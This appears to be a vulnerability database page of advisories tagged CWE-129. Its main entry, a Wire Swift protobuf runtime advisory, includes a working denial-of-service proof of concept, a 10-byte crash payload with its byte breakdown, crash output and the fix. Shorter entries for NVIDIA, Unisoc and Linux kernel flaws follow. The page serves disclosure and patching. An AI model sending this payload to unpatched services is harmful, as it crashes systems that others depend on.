Common Weakness Enumeration

CWE-129

Allowed

Improper Validation of Array Index

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.

877 vulnerabilities reference this CWE, most recent first.

GHSA-86WM-R4C5-2RC9

Vulnerability from github – Published: 2026-09-23 18:45 – Updated: 2026-09-23 18:45
VLAI
Summary
Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service
Details

Summary

Wire's Swift runtime (Wire SPM/CocoaPods product, implemented by wire-runtime-swift) did not reject a negative LENGTH_DELIMITED field length while skipping an unknown protobuf group. A crafted 10-byte protobuf payload could cause ProtoReader.skipGroup() to read a length-delimited field whose varint decodes to a negative Int32. That negative value was then passed to ReadBuffer.readData(count:).

ReadBuffer checked only that the requested read did not go past the end of the buffer. It did not reject negative counts. As a result, a negative count could pass the bounds check and reach Foundation's Data(bytes:count:), which traps and aborts the process (Signal 5 / SIGTRAP) instead of throwing Wire's documented ProtoDecoder.Error.

This is the Swift sibling of the Kotlin/JVM negative-length-in-skipGroup() issue fixed in com.squareup.wire:wire-runtime 6.3.0 (CVE-2026-45799, GHSA-7xpr-hc2w-34m9). That earlier fix added a length < 0 rejection to the Kotlin readers. The functionally similar Swift ProtoReader.skipGroup() path was not covered by that fix and remained vulnerable in released Swift runtime versions through 6.4.0, and in Wire 7 alpha releases through 7.0.0-alpha03.

The issue is fixed for the supported 6.x release line in Wire 6.4.1.

skipGroup() runs for any unknown field with wire type 3 (START_GROUP), so no schema knowledge is required. A service decoding any message type with ProtoDecoder.decode(_:from:) over untrusted bytes can be reached by sending an unknown group field.

Impact

Denial of service.

A single 10-byte attacker-controlled protobuf payload can abort the process with an unrecoverable runtime trap. Callers following Wire's documented Swift API generally expect ProtoDecoder.decode(_:from:) to throw catchable decoding errors such as ProtoDecoder.Error. They cannot catch a SIGTRAP from Foundation's Data(bytes:count:).

Any Swift process that decodes untrusted protobuf data with Wire's Swift runtime may be affected. Examples include iOS, macOS, or server-side Swift applications that accept protobuf request bodies, websocket frames, stored messages, queue payloads, files, or any other attacker-controlled serialized protobuf bytes.

The vulnerability requires:

  • The application decodes untrusted protobuf bytes with Wire's Swift runtime.
  • The attacker can provide a protobuf payload containing an unknown START_GROUP field.
  • That group contains a LENGTH_DELIMITED field whose encoded length decodes to a negative signed 32-bit value.

The attacker does not need:

  • Authentication.
  • User interaction.
  • Knowledge of the target message schema.
  • A valid known field number in the target schema.

Affected Products

Swift Package Manager / CocoaPods Wire

Affected versions:

  • All released Swift runtime versions through 6.4.0.
  • Wire 7 alpha releases through 7.0.0-alpha03.

Patched versions:

  • 6.4.1 for the supported 6.x release line.
  • 7.0.0-alpha04 for the 7.x alpha line (the first 7.x release containing PR #3616).

Recommended action:

  • Upgrade to Wire 6.4.1 or later on the supported stable line.
  • If using a Wire 7 alpha release, upgrade to 7.0.0-alpha04 or a later 7.x release containing PR #3616.

Vulnerable Code

The vulnerable code was in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift, skipGroup(expectedEndTag:unknownFieldsWriter:):

case .lengthDelimited:
    let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128
    state = .lengthDelimited(length: Int(length))
    let data = try readData()                                       // no length >= 0 check
    try unknownFieldsWriter.encode(tag: tag, value: data)

ProtoReader.readData() then forwarded the stored negative length to the buffer:

func readData() throws -> Data {
    guard case let .lengthDelimited(length) = state else {
        fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED")
    }
    state = .tag
    return try buffer.readData(count: length)   // count = -128
}

The bounds check in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift checked only the upper bound. A negative count could pass this guard and then be handed to Foundation:

func verifyAdditional(count: Int) throws {
    guard pointer.advanced(by: count) <= end else {   // pointer + (-128) <= end is true
        throw ProtoDecoder.Error.unexpectedEndOfData
    }
}

func readData(count: Int) throws -> Data {
    try verifyAdditional(count: count)                 // negative count passes the guard
    let data = Data(bytes: pointer, count: count)      // Data(bytes:count:) with count = -128 traps
    pointer = pointer.advanced(by: count)
    return data
}

The normal typed length-delimited decode path is comparatively shielded by other state transitions. The schema-agnostic unknown-group skip path was the important path because it threaded an unvalidated signed length into ReadBuffer.readData(count:).

How Input Reaches the Sink

The reachable decoding path is:

ProtoDecoder.decode(_:from:)
  -> message init(from: ProtoReader)
  -> ProtoReader.nextTag(token:)
  -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)
  -> ProtoReader.readData()
  -> ReadBuffer.readData(count:)
  -> Data(bytes:count:)

When ProtoReader.nextTag(token:) sees an unknown field with wire type START_GROUP, it calls the private skipGroup(...) helper. Inside that skipped group, an inner LENGTH_DELIMITED field with a negative varint length reaches readData(), then ReadBuffer.readData(count:), then Data(bytes:count:).

The outer field number is arbitrary. The proof of concept uses field 99, but the field does not need to exist in the target schema because unknown-field skipping is schema-agnostic.

Proof Of Concept

The following proof of concept demonstrates the vulnerable behavior. It uses an empty ProtoDecodable message that treats every field as unknown, so an unknown START_GROUP field drives ProtoReader.nextTag(token:) into the private skipGroup() implementation.

Package.swift:

// swift-tools-version:5.9
import PackageDescription

let package = Package(
    name: "poc",
    platforms: [.macOS(.v12)],
    dependencies: [
        .package(url: "https://github.com/square/wire.git", exact: "6.4.0")
    ],
    targets: [
        .executableTarget(
            name: "poc",
            dependencies: [.product(name: "Wire", package: "wire")],
            path: "Sources/poc"
        )
    ]
)

Sources/poc/main.swift:

import Foundation
import Wire

func log(_ s: String) {
    FileHandle.standardError.write((s + "\n").data(using: .utf8)!)
}

// A ProtoDecodable message that treats every field as unknown. An unknown
// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().
struct EmptyMessage: ProtoDecodable {
    static var protoSyntax: ProtoSyntax? { .proto2 }
    init() {}
    init(from reader: ProtoReader) throws {
        let token = try reader.beginMessage()
        while let _ = try reader.nextTag(token: token) {}
        let _: UnknownFields = try reader.endMessage(token: token)
    }
}

// hex 9b06 0a 80ffffff0f 9c06
//   0x9B 0x06                 field 99, wire type 3 (START_GROUP)
//   0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
//   0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint decoding to signed Int32 = -128
//   0x9C 0x06                 field 99, END_GROUP
let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])

// Negative control: same group, inner length-delimited field has valid length 0.
let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])

let decoder = ProtoDecoder()

log("=== NEGATIVE CONTROL (valid length 0) ===")
do {
    _ = try decoder.decode(EmptyMessage.self, from: benignPayload)
    log("negative-control: decoded OK, no crash (expected)")
} catch {
    log("negative-control: threw \(type(of: error)): \(error)")
}

log("=== ATTACK (negative length -128 inside skipped group) ===")
do {
    _ = try decoder.decode(EmptyMessage.self, from: attackerPayload)
    log("attack: decoded OK (not vulnerable / patched)")
} catch let e as ProtoDecoder.Error {
    log("attack: threw documented ProtoDecoder.Error: \(e) (not vulnerable / patched)")
} catch {
    log("attack: threw unexpected \(type(of: error)): \(error)")
}
log("=== reached end of main (no crash) ===")

Build and run:

swift build
SWIFT_BACKTRACE=enable=yes ./.build/debug/poc

Expected behavior on vulnerable versions through 6.4.0:

=== NEGATIVE CONTROL (valid length 0) ===
negative-control: decoded OK, no crash (expected)
=== ATTACK (negative length -128 inside skipped group) ===

*** Signal 5: Backtracing from 0x191b9d68c... done ***

*** Program crashed: System trap at 0x0000000191b9d68c ***

Thread 0 crashed:

  0               specialized Data.InlineData.init(_:) in Foundation
  1 [ra]          specialized Data.init(bytes:count:) in Foundation
  2 [ra]          ReadBuffer.readData(count:) at ReadBuffer.swift
  3 [ra]          ProtoReader.readData() at ProtoReader.swift
  4 [ra]          ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift
  5 [ra]          closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift
  6 [ra]          ProtoReader.nextTag(token:) at ProtoReader.swift
  7 [ra] [thunk]  EmptyMessage.init(from:) at main.swift
  8 [ra]          ProtoReader.decode<A>(_:) at ProtoReader.swift
  9 [ra]          ProtoDecoder.decode<A>(_:from:) at ProtoDecoder.swift
 10 [ra]          main at main.swift

The negative control, which uses the same skipped group structure but with a valid length of 0, decodes successfully. That demonstrates the crash is caused by the negative length, not by group-skipping itself.

The attack payload crashes with SIGTRAP inside Data.init(bytes:count:), reached from the unguarded skipGroup() -> readData() -> ReadBuffer.readData(count:) path. This runtime trap escapes Wire's documented ProtoDecoder.Error boundary.

Payload:

9b060a80ffffff0f9c06

Payload breakdown:

0x9B 0x06                 field 99, wire type 3 (START_GROUP)
0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int32
0x9C 0x06                 field 99, END_GROUP

Fix

The fix rejects negative lengths before setting the length-delimited reader state and before calling readData().

Fixed logic in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift:

case .lengthDelimited:
    let length = try Int32(truncatingIfNeeded: buffer.readVarint())
    guard length >= 0 else {
        throw ProtoDecoder.Error.unexpectedEndOfData
    }
    state = .lengthDelimited(length: Int(length))
    let data = try readData()
    try unknownFieldsWriter.encode(tag: tag, value: data)

The fix also adds defense in depth in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift by rejecting negative read counts before pointer arithmetic and before constructing Data(bytes:count:).

The fix was merged in PR #3616:

https://github.com/square/wire/pull/3616

Fix commit:

https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e

Patched Behavior

With the fix, the same payload is rejected with a catchable ProtoDecoder.Error instead of aborting the process. Applications can handle the malformed payload using normal Swift error handling around ProtoDecoder.decode(_:from:).

Workarounds

There is no complete application-level workaround if untrusted protobuf bytes must be decoded with a vulnerable Wire Swift runtime version. Services can reduce exposure by avoiding protobuf decoding on untrusted inputs, validating or filtering payloads before decoding, or rejecting protobuf group wire types at an outer protocol boundary where that is feasible. These mitigations are not substitutes for upgrading because the vulnerable path is schema-agnostic unknown-field skipping inside the runtime decoder.

Recommended Upgrade

Upgrade to Wire 6.4.1 or later.

Swift Package Manager users should update their dependency to a patched tag:

.package(url: "https://github.com/square/wire.git", from: "6.4.1")

CocoaPods users should update the Wire pod to 6.4.1 or later.

Wire 7 alpha users should upgrade to 7.0.0-alpha04 or a later 7.x release that contains PR #3616.

Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799

This advisory covers the Swift runtime sibling of GHSA-7xpr-hc2w-34m9 / CVE-2026-45799.

GHSA-7xpr-hc2w-34m9 fixed the Kotlin/JVM readers in Wire 6.3.0, but the Swift runtime had a similar group-skipping path that still accepted negative lengths. This advisory is tracked separately because it affects the Swift runtime package and was fixed by a separate Swift runtime PR.

Credits

Reported by tonghuaroot.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.0"
      },
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/square/wire"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T18:45:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWire\u0027s Swift runtime (`Wire` SPM/CocoaPods product, implemented by\n`wire-runtime-swift`) did not reject a negative `LENGTH_DELIMITED` field length\nwhile skipping an unknown protobuf group. A crafted 10-byte protobuf payload\ncould cause `ProtoReader.skipGroup()` to read a length-delimited field whose\nvarint decodes to a negative `Int32`. That negative value was then passed to\n`ReadBuffer.readData(count:)`.\n\n`ReadBuffer` checked only that the requested read did not go past the end of\nthe buffer. It did not reject negative counts. As a result, a negative count\ncould pass the bounds check and reach Foundation\u0027s `Data(bytes:count:)`, which\ntraps and aborts the process (`Signal 5` / SIGTRAP) instead of throwing Wire\u0027s\ndocumented `ProtoDecoder.Error`.\n\nThis is the Swift sibling of the Kotlin/JVM negative-length-in-`skipGroup()`\nissue fixed in `com.squareup.wire:wire-runtime` 6.3.0\n(`CVE-2026-45799`, `GHSA-7xpr-hc2w-34m9`). That earlier fix added a\n`length \u003c 0` rejection to the Kotlin readers. The functionally similar Swift\n`ProtoReader.skipGroup()` path was not covered by that fix and remained\nvulnerable in released Swift runtime versions through `6.4.0`, and in Wire 7\nalpha releases through `7.0.0-alpha03`.\n\nThe issue is fixed for the supported 6.x release line in Wire `6.4.1`.\n\n`skipGroup()` runs for any unknown field with wire type 3 (`START_GROUP`), so\nno schema knowledge is required. A service decoding any message type with\n`ProtoDecoder.decode(_:from:)` over untrusted bytes can be reached by sending an\nunknown group field.\n\n### Impact\n\nDenial of service.\n\nA single 10-byte attacker-controlled protobuf payload can abort the process\nwith an unrecoverable runtime trap. Callers following Wire\u0027s documented Swift\nAPI generally expect `ProtoDecoder.decode(_:from:)` to throw catchable decoding\nerrors such as `ProtoDecoder.Error`. They cannot catch a SIGTRAP from\nFoundation\u0027s `Data(bytes:count:)`.\n\nAny Swift process that decodes untrusted protobuf data with Wire\u0027s Swift\nruntime may be affected. Examples include iOS, macOS, or server-side Swift\napplications that accept protobuf request bodies, websocket frames, stored\nmessages, queue payloads, files, or any other attacker-controlled serialized\nprotobuf bytes.\n\nThe vulnerability requires:\n\n- The application decodes untrusted protobuf bytes with Wire\u0027s Swift runtime.\n- The attacker can provide a protobuf payload containing an unknown\n  `START_GROUP` field.\n- That group contains a `LENGTH_DELIMITED` field whose encoded length decodes\n  to a negative signed 32-bit value.\n\nThe attacker does not need:\n\n- Authentication.\n- User interaction.\n- Knowledge of the target message schema.\n- A valid known field number in the target schema.\n\n### Affected Products\n\n#### Swift Package Manager / CocoaPods `Wire`\n\nAffected versions:\n\n- All released Swift runtime versions through `6.4.0`.\n- Wire 7 alpha releases through `7.0.0-alpha03`.\n\nPatched versions:\n\n- `6.4.1` for the supported 6.x release line.\n- `7.0.0-alpha04` for the 7.x alpha line (the first 7.x release containing\n  PR #3616).\n\nRecommended action:\n\n- Upgrade to Wire `6.4.1` or later on the supported stable line.\n- If using a Wire 7 alpha release, upgrade to `7.0.0-alpha04` or a later 7.x\n  release containing PR #3616.\n\n### Vulnerable Code\n\nThe vulnerable code was in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`,\n`skipGroup(expectedEndTag:unknownFieldsWriter:)`:\n\n```swift\ncase .lengthDelimited:\n    let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128\n    state = .lengthDelimited(length: Int(length))\n    let data = try readData()                                       // no length \u003e= 0 check\n    try unknownFieldsWriter.encode(tag: tag, value: data)\n```\n\n`ProtoReader.readData()` then forwarded the stored negative length to the\nbuffer:\n\n```swift\nfunc readData() throws -\u003e Data {\n    guard case let .lengthDelimited(length) = state else {\n        fatalError(\"Decoding field as length delimited when key was not LENGTH_DELIMITED\")\n    }\n    state = .tag\n    return try buffer.readData(count: length)   // count = -128\n}\n```\n\nThe bounds check in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` checked only\nthe upper bound. A negative count could pass this guard and then be handed to\nFoundation:\n\n```swift\nfunc verifyAdditional(count: Int) throws {\n    guard pointer.advanced(by: count) \u003c= end else {   // pointer + (-128) \u003c= end is true\n        throw ProtoDecoder.Error.unexpectedEndOfData\n    }\n}\n\nfunc readData(count: Int) throws -\u003e Data {\n    try verifyAdditional(count: count)                 // negative count passes the guard\n    let data = Data(bytes: pointer, count: count)      // Data(bytes:count:) with count = -128 traps\n    pointer = pointer.advanced(by: count)\n    return data\n}\n```\n\nThe normal typed length-delimited decode path is comparatively shielded by\nother state transitions. The schema-agnostic unknown-group skip path was the\nimportant path because it threaded an unvalidated signed length into\n`ReadBuffer.readData(count:)`.\n\n### How Input Reaches the Sink\n\nThe reachable decoding path is:\n\n```text\nProtoDecoder.decode(_:from:)\n  -\u003e message init(from: ProtoReader)\n  -\u003e ProtoReader.nextTag(token:)\n  -\u003e ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)\n  -\u003e ProtoReader.readData()\n  -\u003e ReadBuffer.readData(count:)\n  -\u003e Data(bytes:count:)\n```\n\nWhen `ProtoReader.nextTag(token:)` sees an unknown field with wire type\n`START_GROUP`, it calls the private `skipGroup(...)` helper. Inside that\nskipped group, an inner `LENGTH_DELIMITED` field with a negative varint length\nreaches `readData()`, then `ReadBuffer.readData(count:)`, then\n`Data(bytes:count:)`.\n\nThe outer field number is arbitrary. The proof of concept uses field 99, but\nthe field does not need to exist in the target schema because unknown-field\nskipping is schema-agnostic.\n\n### Proof Of Concept\n\nThe following proof of concept demonstrates the vulnerable behavior. It uses an\nempty `ProtoDecodable` message that treats every field as unknown, so an\nunknown `START_GROUP` field drives `ProtoReader.nextTag(token:)` into the\nprivate `skipGroup()` implementation.\n\n`Package.swift`:\n\n```swift\n// swift-tools-version:5.9\nimport PackageDescription\n\nlet package = Package(\n    name: \"poc\",\n    platforms: [.macOS(.v12)],\n    dependencies: [\n        .package(url: \"https://github.com/square/wire.git\", exact: \"6.4.0\")\n    ],\n    targets: [\n        .executableTarget(\n            name: \"poc\",\n            dependencies: [.product(name: \"Wire\", package: \"wire\")],\n            path: \"Sources/poc\"\n        )\n    ]\n)\n```\n\n`Sources/poc/main.swift`:\n\n```swift\nimport Foundation\nimport Wire\n\nfunc log(_ s: String) {\n    FileHandle.standardError.write((s + \"\\n\").data(using: .utf8)!)\n}\n\n// A ProtoDecodable message that treats every field as unknown. An unknown\n// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().\nstruct EmptyMessage: ProtoDecodable {\n    static var protoSyntax: ProtoSyntax? { .proto2 }\n    init() {}\n    init(from reader: ProtoReader) throws {\n        let token = try reader.beginMessage()\n        while let _ = try reader.nextTag(token: token) {}\n        let _: UnknownFields = try reader.endMessage(token: token)\n    }\n}\n\n// hex 9b06 0a 80ffffff0f 9c06\n//   0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n//   0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n//   0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint decoding to signed Int32 = -128\n//   0x9C 0x06                 field 99, END_GROUP\nlet attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])\n\n// Negative control: same group, inner length-delimited field has valid length 0.\nlet benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])\n\nlet decoder = ProtoDecoder()\n\nlog(\"=== NEGATIVE CONTROL (valid length 0) ===\")\ndo {\n    _ = try decoder.decode(EmptyMessage.self, from: benignPayload)\n    log(\"negative-control: decoded OK, no crash (expected)\")\n} catch {\n    log(\"negative-control: threw \\(type(of: error)): \\(error)\")\n}\n\nlog(\"=== ATTACK (negative length -128 inside skipped group) ===\")\ndo {\n    _ = try decoder.decode(EmptyMessage.self, from: attackerPayload)\n    log(\"attack: decoded OK (not vulnerable / patched)\")\n} catch let e as ProtoDecoder.Error {\n    log(\"attack: threw documented ProtoDecoder.Error: \\(e) (not vulnerable / patched)\")\n} catch {\n    log(\"attack: threw unexpected \\(type(of: error)): \\(error)\")\n}\nlog(\"=== reached end of main (no crash) ===\")\n```\n\nBuild and run:\n\n```bash\nswift build\nSWIFT_BACKTRACE=enable=yes ./.build/debug/poc\n```\n\nExpected behavior on vulnerable versions through `6.4.0`:\n\n```text\n=== NEGATIVE CONTROL (valid length 0) ===\nnegative-control: decoded OK, no crash (expected)\n=== ATTACK (negative length -128 inside skipped group) ===\n\n*** Signal 5: Backtracing from 0x191b9d68c... done ***\n\n*** Program crashed: System trap at 0x0000000191b9d68c ***\n\nThread 0 crashed:\n\n  0               specialized Data.InlineData.init(_:) in Foundation\n  1 [ra]          specialized Data.init(bytes:count:) in Foundation\n  2 [ra]          ReadBuffer.readData(count:) at ReadBuffer.swift\n  3 [ra]          ProtoReader.readData() at ProtoReader.swift\n  4 [ra]          ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift\n  5 [ra]          closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift\n  6 [ra]          ProtoReader.nextTag(token:) at ProtoReader.swift\n  7 [ra] [thunk]  EmptyMessage.init(from:) at main.swift\n  8 [ra]          ProtoReader.decode\u003cA\u003e(_:) at ProtoReader.swift\n  9 [ra]          ProtoDecoder.decode\u003cA\u003e(_:from:) at ProtoDecoder.swift\n 10 [ra]          main at main.swift\n```\n\nThe negative control, which uses the same skipped group structure but with a\nvalid length of 0, decodes successfully. That demonstrates the crash is caused\nby the negative length, not by group-skipping itself.\n\nThe attack payload crashes with SIGTRAP inside `Data.init(bytes:count:)`,\nreached from the unguarded `skipGroup()` -\u003e `readData()` -\u003e\n`ReadBuffer.readData(count:)` path. This runtime trap escapes Wire\u0027s documented\n`ProtoDecoder.Error` boundary.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int32\n0x9C 0x06                 field 99, END_GROUP\n```\n\n### Fix\n\nThe fix rejects negative lengths before setting the length-delimited reader\nstate and before calling `readData()`.\n\nFixed logic in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`:\n\n```swift\ncase .lengthDelimited:\n    let length = try Int32(truncatingIfNeeded: buffer.readVarint())\n    guard length \u003e= 0 else {\n        throw ProtoDecoder.Error.unexpectedEndOfData\n    }\n    state = .lengthDelimited(length: Int(length))\n    let data = try readData()\n    try unknownFieldsWriter.encode(tag: tag, value: data)\n```\n\nThe fix also adds defense in depth in\n`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` by rejecting\nnegative read counts before pointer arithmetic and before constructing\n`Data(bytes:count:)`.\n\nThe fix was merged in PR #3616:\n\nhttps://github.com/square/wire/pull/3616\n\nFix commit:\n\nhttps://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e\n\n### Patched Behavior\n\nWith the fix, the same payload is rejected with a catchable\n`ProtoDecoder.Error` instead of aborting the process. Applications can handle\nthe malformed payload using normal Swift error handling around\n`ProtoDecoder.decode(_:from:)`.\n\n### Workarounds\n\nThere is no complete application-level workaround if untrusted protobuf bytes\nmust be decoded with a vulnerable Wire Swift runtime version. Services can\nreduce exposure by avoiding protobuf decoding on untrusted inputs, validating\nor filtering payloads before decoding, or rejecting protobuf group wire types\nat an outer protocol boundary where that is feasible. These mitigations are\nnot substitutes for upgrading because the vulnerable path is schema-agnostic\nunknown-field skipping inside the runtime decoder.\n\n### Recommended Upgrade\n\nUpgrade to Wire `6.4.1` or later.\n\nSwift Package Manager users should update their dependency to a patched tag:\n\n```swift\n.package(url: \"https://github.com/square/wire.git\", from: \"6.4.1\")\n```\n\nCocoaPods users should update the `Wire` pod to `6.4.1` or later.\n\nWire 7 alpha users should upgrade to `7.0.0-alpha04` or a later 7.x release\nthat contains PR #3616.\n\n### Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799\n\nThis advisory covers the Swift runtime sibling of\n`GHSA-7xpr-hc2w-34m9` / `CVE-2026-45799`.\n\n`GHSA-7xpr-hc2w-34m9` fixed the Kotlin/JVM readers in Wire `6.3.0`, but the\nSwift runtime had a similar group-skipping path that still accepted negative\nlengths. This advisory is tracked separately because it affects the Swift\nruntime package and was fixed by a separate Swift runtime PR.\n\n### Credits\n\nReported by `tonghuaroot`.",
  "id": "GHSA-86wm-r4c5-2rc9",
  "modified": "2026-09-23T18:45:52Z",
  "published": "2026-09-23T18:45:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/security/advisories/GHSA-86wm-r4c5-2rc9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/pull/3616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/commit/24043b6b3a5e5974a978f2745b76d50b31407c1c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/square/wire"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/releases/tag/6.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/wire/releases/tag/7.0.0-alpha04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service"
}

GHSA-87J2-WVP3-GJHC

Vulnerability from github – Published: 2022-05-17 02:57 – Updated: 2022-05-17 02:57
VLAI
Details

All versions of NVIDIA Windows GPU Display Driver contain a vulnerability in the kernel mode layer (nvlddmkm.sys) handler where a value passed from a user to the driver is not correctly validated and used as the index to an array, leading to denial of service or potential escalation of privileges.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-0322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-15T23:59:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of NVIDIA Windows GPU Display Driver contain a vulnerability in the kernel mode layer (nvlddmkm.sys) handler where a value passed from a user to the driver is not correctly validated and used as the index to an array, leading to denial of service or potential escalation of privileges.",
  "id": "GHSA-87j2-wvp3-gjhc",
  "modified": "2022-05-17T02:57:56Z",
  "published": "2022-05-17T02:57:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0322"
    },
    {
      "type": "WEB",
      "url": "http://nvidia.custhelp.com/app/answers/detail/a_id/4398"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-87VF-6QWQ-6725

Vulnerability from github – Published: 2023-02-12 06:30 – Updated: 2023-02-21 21:30
VLAI
Details

In engineermode services, there is a missing permission check. This could lead to local denial of service in engineermode services.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-47344"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-12T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In engineermode services, there is a missing permission check. This could lead to local denial of service in engineermode services.",
  "id": "GHSA-87vf-6qwq-6725",
  "modified": "2023-02-21T21:30:18Z",
  "published": "2023-02-12T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47344"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1621031430231134210"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8979-XF4W-FMJP

Vulnerability from github – Published: 2024-05-01 06:31 – Updated: 2024-12-23 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

clk: qcom: gcc-ipq9574: fix terminating of frequency table arrays

The frequency table arrays are supposed to be terminated with an empty element. Add such entry to the end of the arrays where it is missing in order to avoid possible out-of-bound access when the table is traversed by functions like qcom_find_freq() or qcom_find_freq_floor().

Only compile tested.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-26968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T06:15:13Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: qcom: gcc-ipq9574: fix terminating of frequency table arrays\n\nThe frequency table arrays are supposed to be terminated with an\nempty element. Add such entry to the end of the arrays where it\nis missing in order to avoid possible out-of-bound access when\nthe table is traversed by functions like qcom_find_freq() or\nqcom_find_freq_floor().\n\nOnly compile tested.",
  "id": "GHSA-8979-xf4w-fmjp",
  "modified": "2024-12-23T15:30:46Z",
  "published": "2024-05-01T06:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26968"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0204247cf3669b6021fb745c3b7f37ae392ab19c"
    },
    {
      "type": "WEB",
